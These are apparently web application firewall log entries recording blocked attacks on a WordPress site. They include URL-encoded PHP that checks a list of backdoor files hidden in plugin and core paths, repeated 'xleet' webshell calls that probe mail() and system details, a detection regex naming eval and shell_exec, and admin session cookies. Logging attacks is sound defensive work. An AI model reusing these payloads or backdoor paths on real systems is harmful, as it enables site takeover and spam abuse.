%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-14 20:22:01","103.127.30.137","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yJ:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/record.php%22%3D%3E%22bd%40%40257250841%40%40989%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:8580\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=075c9837d13360cab7e282d000e684af; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nupgrade-insecure-requests:1\naccept:*\/*\nsec-fetch-site:none\n\nyJ=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Sabberworm\/CSS\/Parsing\/deactivate.php%22%3D%3E%22bd%40%40287668728%40%40627%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/admin\/product-category-metabox\/style.asset.php%22%3D%3E%22bd%40%40287676558%40%4082%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/lib\/packages\/Symfony\/Component\/CssSelector\/XPath\/Extension\/comment_function.php%22%3D%3E%22bd%40%40287668727%40%40692%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Products\/Schema\/fr.lang.php%22%3D%3E%22bd%40%40282626338%40%40584%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/src\/Internal\/RestApi\/Routes\/V4\/Settings\/Email\/Schema\/picshow.php%22%3D%3E%22bd%40%40282623629%40%40801%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/src\/Engine\/Renderer\/ContentRenderer\/class.blocks.renderer.php%22%3D%3E%22bd%40%40287676573%40%40577%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-rewrite.php%22%3D%3E%22bd%40%40287668682%40%4036%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/class-addon-manager.php%22%3D%3E%22bd%40%40287668703%40%4074%22%2C%0A%22\/wp-content\/plugins\/filester\/includes\/File_manager\/lib\/php\/editors\/editor.php%22%3D%3E%22bd%40%40287668715%40%40%24_COOKIE%5B1%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-includes\/sodium_compat\/namespaced\/Core\/Curve25519\/Ge\/smf10.inc.php%22%3D%3E%22bd%40%40257166112%40%40892%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/record.php%22%3D%3E%22bd%40%40257250841%40%40989%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-14 22:04:56","148.135.85.139","POST","\/wp-content\/plugins\/azxdayi\/xl9.php?pass=xleet",null,"post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> p1:\r\n\r\n$code = '<?php\r\nerror_reporting(0);\r\n$test = mail(\"\",\"Result Shell Test #\",\"This shell with id # is delivering , you can buy it now.\");\r\nif(!$test)\r\nprint \"bad\";\r\nelse\r\nprint \"<b>sendok - [] - <\/b>\";\r\n\r\n?>';\r\n\r\n$xx = rand();\r\n\r\n$myfile = fopen(\"$xx.php\", \"w\") or die(\"Unable to open file!\");\r\nfwrite($myfile, $code);\r\nfclose($myfile);\r\n\r\n$link2 =  'http:\/\/'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).\"\/\".$xx.\".php\";\r\n\r\nif (strpos(@file_get_contents($link2, false, $context), 'sendok') !== false)\r\n$sending = 'mail() is available';\r\nelse\r\n$sending = 'mail() has been disabled';\r\n\r\n$version = substr(phpversion(), 0, 5);\r\n$os = PHP_OS;\r\n$release = @php_uname(\"a\");\r\n\r\n\r\n\r\necho \"$sending|$os - PHP $version|$release\";\r\n\r\nunlink(\"$xx.php\");\r\n","POST \/wp-content\/plugins\/azxdayi\/xl9.php?pass=xleet HTTP\/1.1\naccept:*\/*\ncookie:\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1275\nhost:dewenlabels.com\nexpect:100-continue\n\na=Php&p3=&charset=Windows-1251&c=&ajax=true&p2=&p1=\r\n\r\n$code = '<?php\r\nerror_reporting(0);\r\n$test = mail(\"\",\"Result Shell Test #\",\"This shell with id # is delivering , you can buy it now.\");\r\nif(!$test)\r\nprint \"bad\";\r\nelse\r\nprint \"<b>sendok - [] - <\/b>\";\r\n\r\n?>';\r\n\r\n$xx = rand();\r\n\r\n$myfile = fopen(\"$xx.php\", \"w\") or die(\"Unable to open file!\");\r\nfwrite($myfile, $code);\r\nfclose($myfile);\r\n\r\n$link2 =  'http:\/\/'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).\"\/\".$xx.\".php\";\r\n\r\nif (strpos(@file_get_contents($link2, false, $context), 'sendok') !== false)\r\n$sending = 'mail() is available';\r\nelse\r\n$sending = 'mail() has been disabled';\r\n\r\n$version = substr(phpversion(), 0, 5);\r\n$os = PHP_OS;\r\n$release = @php_uname(\"a\");\r\n\r\n\r\n\r\necho \"$sending|$os - PHP $version|$release\";\r\n\r\nunlink(\"$xx.php\");\r\n"]
["2026-04-14 22:05:03","148.135.85.139","POST","\/wp-content\/themes\/sjkyvaf\/xl9.php?pass=xleet",null,"post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> p1:\r\n\r\n$code = '<?php\r\nerror_reporting(0);\r\n$test = mail(\"\",\"Result Shell Test #\",\"This shell with id # is delivering , you can buy it now.\");\r\nif(!$test)\r\nprint \"bad\";\r\nelse\r\nprint \"<b>sendok - [] - <\/b>\";\r\n\r\n?>';\r\n\r\n$xx = rand();\r\n\r\n$myfile = fopen(\"$xx.php\", \"w\") or die(\"Unable to open file!\");\r\nfwrite($myfile, $code);\r\nfclose($myfile);\r\n\r\n$link2 =  'http:\/\/'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).\"\/\".$xx.\".php\";\r\n\r\nif (strpos(@file_get_contents($link2, false, $context), 'sendok') !== false)\r\n$sending = 'mail() is available';\r\nelse\r\n$sending = 'mail() has been disabled';\r\n\r\n$version = substr(phpversion(), 0, 5);\r\n$os = PHP_OS;\r\n$release = @php_uname(\"a\");\r\n\r\n\r\n\r\necho \"$sending|$os - PHP $version|$release\";\r\n\r\nunlink(\"$xx.php\");\r\n","POST \/wp-content\/themes\/sjkyvaf\/xl9.php?pass=xleet HTTP\/1.1\naccept:*\/*\ncookie:\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:1275\nhost:dewenlabels.com\nexpect:100-continue\n\na=Php&p3=&charset=Windows-1251&c=&ajax=true&p2=&p1=\r\n\r\n$code = '<?php\r\nerror_reporting(0);\r\n$test = mail(\"\",\"Result Shell Test #\",\"This shell with id # is delivering , you can buy it now.\");\r\nif(!$test)\r\nprint \"bad\";\r\nelse\r\nprint \"<b>sendok - [] - <\/b>\";\r\n\r\n?>';\r\n\r\n$xx = rand();\r\n\r\n$myfile = fopen(\"$xx.php\", \"w\") or die(\"Unable to open file!\");\r\nfwrite($myfile, $code);\r\nfclose($myfile);\r\n\r\n$link2 =  'http:\/\/'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).\"\/\".$xx.\".php\";\r\n\r\nif (strpos(@file_get_contents($link2, false, $context), 'sendok') !== false)\r\n$sending = 'mail() is available';\r\nelse\r\n$sending = 'mail() has been disabled';\r\n\r\n$version = substr(phpversion(), 0, 5);\r\n$os = PHP_OS;\r\n$release = @php_uname(\"a\");\r\n\r\n\r\n\r\necho \"$sending|$os - PHP $version|$release\";\r\n\r\nunlink(\"$xx.php\");\r\n"]
["2026-04-14 22:10:49","162.243.166.38","POST","\/wp-content\/plugins\/iifjusm\/xl9.php?pass=xleet",null,"post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> p1:\r\n\r\n$code = '<?php\r\nerror_reporting(0);\r\n$test = mail(\"\",\"Result Shell Test #\",\"This shell with id # is delivering , you can buy it now.\");\r\nif(!$test)\r\nprint \"bad\";\r\nelse\r\nprint \"<b>sendok - [] - <\/b>\";\r\n\r\n?>';\r\n\r\n$xx = rand();\r\n\r\n$myfile = fopen(\"$xx.php\", \"w\") or die(\"Unable to open file!\");\r\nfwrite($myfile, $code);\r\nfclose($myfile);\r\n\r\n$link2 =  'http:\/\/'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).\"\/\".$xx.\".php\";\r\n\r\nif (strpos(@file_get_contents($link2, false, $context), 'sendok') !== false)\r\n$sending = 'mail() is available';\r\nelse\r\n$sending = 'mail() has been disabled';\r\n\r\n$version = substr(phpversion(), 0, 5);\r\n$os = PHP_OS;\r\n$release = @php_uname(\"a\");\r\n\r\n\r\n\r\necho \"$sending|$os - PHP $version|$release\";\r\n\r\nunlink(\"$xx.php\");\r\n","POST \/wp-content\/plugins\/iifjusm\/xl9.php?pass=xleet HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\ncookie:\ncontent-length:1275\nexpect:100-continue\nhost:dewenlabels.com\n\na=Php&c=&ajax=true&charset=Windows-1251&p1=\r\n\r\n$code = '<?php\r\nerror_reporting(0);\r\n$test = mail(\"\",\"Result Shell Test #\",\"This shell with id # is delivering , you can buy it now.\");\r\nif(!$test)\r\nprint \"bad\";\r\nelse\r\nprint \"<b>sendok - [] - <\/b>\";\r\n\r\n?>';\r\n\r\n$xx = rand();\r\n\r\n$myfile = fopen(\"$xx.php\", \"w\") or die(\"Unable to open file!\");\r\nfwrite($myfile, $code);\r\nfclose($myfile);\r\n\r\n$link2 =  'http:\/\/'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).\"\/\".$xx.\".php\";\r\n\r\nif (strpos(@file_get_contents($link2, false, $context), 'sendok') !== false)\r\n$sending = 'mail() is available';\r\nelse\r\n$sending = 'mail() has been disabled';\r\n\r\n$version = substr(phpversion(), 0, 5);\r\n$os = PHP_OS;\r\n$release = @php_uname(\"a\");\r\n\r\n\r\n\r\necho \"$sending|$os - PHP $version|$release\";\r\n\r\nunlink(\"$xx.php\");\r\n&p2=&p3="]
["2026-04-14 22:45:52","74.208.137.156","POST","\/wp-admin\/admin-ajax.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko\/20100101 Firefox\/122.0","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-admin\/admin-ajax.php HTTP\/1.1\ncookie:wordpress_sec_3309b4d362f120e2b595228292f03253=admin%7C1776350739%7C6vyH8fpqXM9fOCIJYZfCxc5gyoQbg7QoNCvwVEpcorF%7Ca70f3b3d8c9148cfde51811594a08f2b51668ae01e8638d6d3da07c2a299139e; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_3309b4d362f120e2b595228292f03253=admin%7C1776350739%7C6vyH8fpqXM9fOCIJYZfCxc5gyoQbg7QoNCvwVEpcorF%7C3c170c86ac29d075447ea70bbd7bbdec276cbc7c596ac2729426601b7b9414f5; tk_ai=woo%3Aq77ENrbxlN0nWIsyMJCsQCGo; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce%26hidetb%3D1%26advImgDetails%3Dshow%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1776177940\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15) Gecko\/20100101 Firefox\/122.0\nhost:dewenlabels.com\naccept-language:de-DE,de;q=0.9,en;q=0.8\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:multipart\/form-data; boundary=388fc366bb5876113c37a2c31718cb35\nsec-fetch-mode:navigate\nsec-fetch-site:same-origin\nsec-fetch-user:?1\ndnt:1\ncontent-length:763\ncache-control:max-age=0\nsec-ch-ua-platform:\"Linux\"\nsec-ch-ua-mobile:?0\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\n\n--388fc366bb5876113c37a2c31718cb35\r\nContent-Disposition: form-data; 